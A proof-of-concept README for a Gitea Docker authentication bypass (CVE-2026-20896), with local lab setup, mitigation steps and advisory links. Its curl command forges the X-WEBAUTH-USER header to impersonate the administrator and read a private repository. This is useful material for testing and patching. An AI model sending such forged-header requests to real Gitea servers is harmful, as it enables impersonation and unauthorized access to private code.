## https://sploitus.com/exploit?id=4F6DB9F3-F9B0-5551-91F5-50373DD957BC
# CVE-2026-20896: Gitea Docker Image Authentication Bypass PoC
> [!WARNING]
> Use this PoC only in a local lab or against a system you are explicitly authorized to test.
>
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
# Overview
**CVE-2026-20896** is an authentication bypass in affected official Gitea Docker images. When reverse-proxy authentication is enabled, the image-generated `REVERSE_PROXY_TRUSTED_PROXIES = *` setting allows a client that can reach the Gitea backend to impersonate an existing user through the `X-WEBAUTH-USER` header.
The lab creates an administrator named `gitea-admin` with a random password and stores `CVE-2026-20896_AUTH_BYPASS_CONFIRMED` in the private repository `gitea-admin/private-proof`. Reading that file without knowing the random administrator password demonstrates the bypass.
# Affected Versions
| Category | Version |
|---|---|
| Vulnerable | Official `gitea/gitea` Docker images ≤ 1.26.2 |
| First patched | 1.26.3 |
| Recommended | 1.26.4 or later |
The vulnerable configuration requires reverse-proxy authentication to be enabled and the Gitea backend to be directly reachable, or an upstream proxy to preserve the attacker-supplied identity header. A reverse-proxy container is not required for this local reproduction.
# Environment
```bash
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
```
Wait a few seconds for Gitea and the private proof repository to initialize.
# PoC
## cURL
```bash
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
```
Successful exploitation returns `CVE-2026-20896_AUTH_BYPASS_CONFIRMED`.
## Python
```bash
python poc.py http://127.0.0.1:3000
```
The script compares unauthenticated, non-admin, and forged administrator requests and prints `VULNERABLE` when the authorization bypass is confirmed. It requires Python 3.10 or later and uses only the standard library.
# Impact
- Impersonation of known or guessable Gitea users
- Unauthorized access to private repositories and user resources
- Administrative actions when an administrator account is impersonated
# Mitigation
- Upgrade to Gitea 1.26.3 or later; 1.26.4 or later is recommended.
- Restrict `REVERSE_PROXY_TRUSTED_PROXIES` to trusted proxy addresses.
- Prevent direct access to the Gitea backend and overwrite externally supplied identity headers.
- Disable reverse-proxy authentication when it is not required.
# Cleanup
```bash
docker stop cve-2026-20896-gitea-vuln
```
# References
- [Gitea Security Advisory GHSA-f75j-4cw6-rmx4](https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4)
- [Gitea 1.26.3 and 1.26.4 release announcement](https://blog.gitea.com/release-of-1.26.3-and-1.26.4/)
- [Gitea security fix PR #38151](https://github.com/go-gitea/gitea/pull/38151)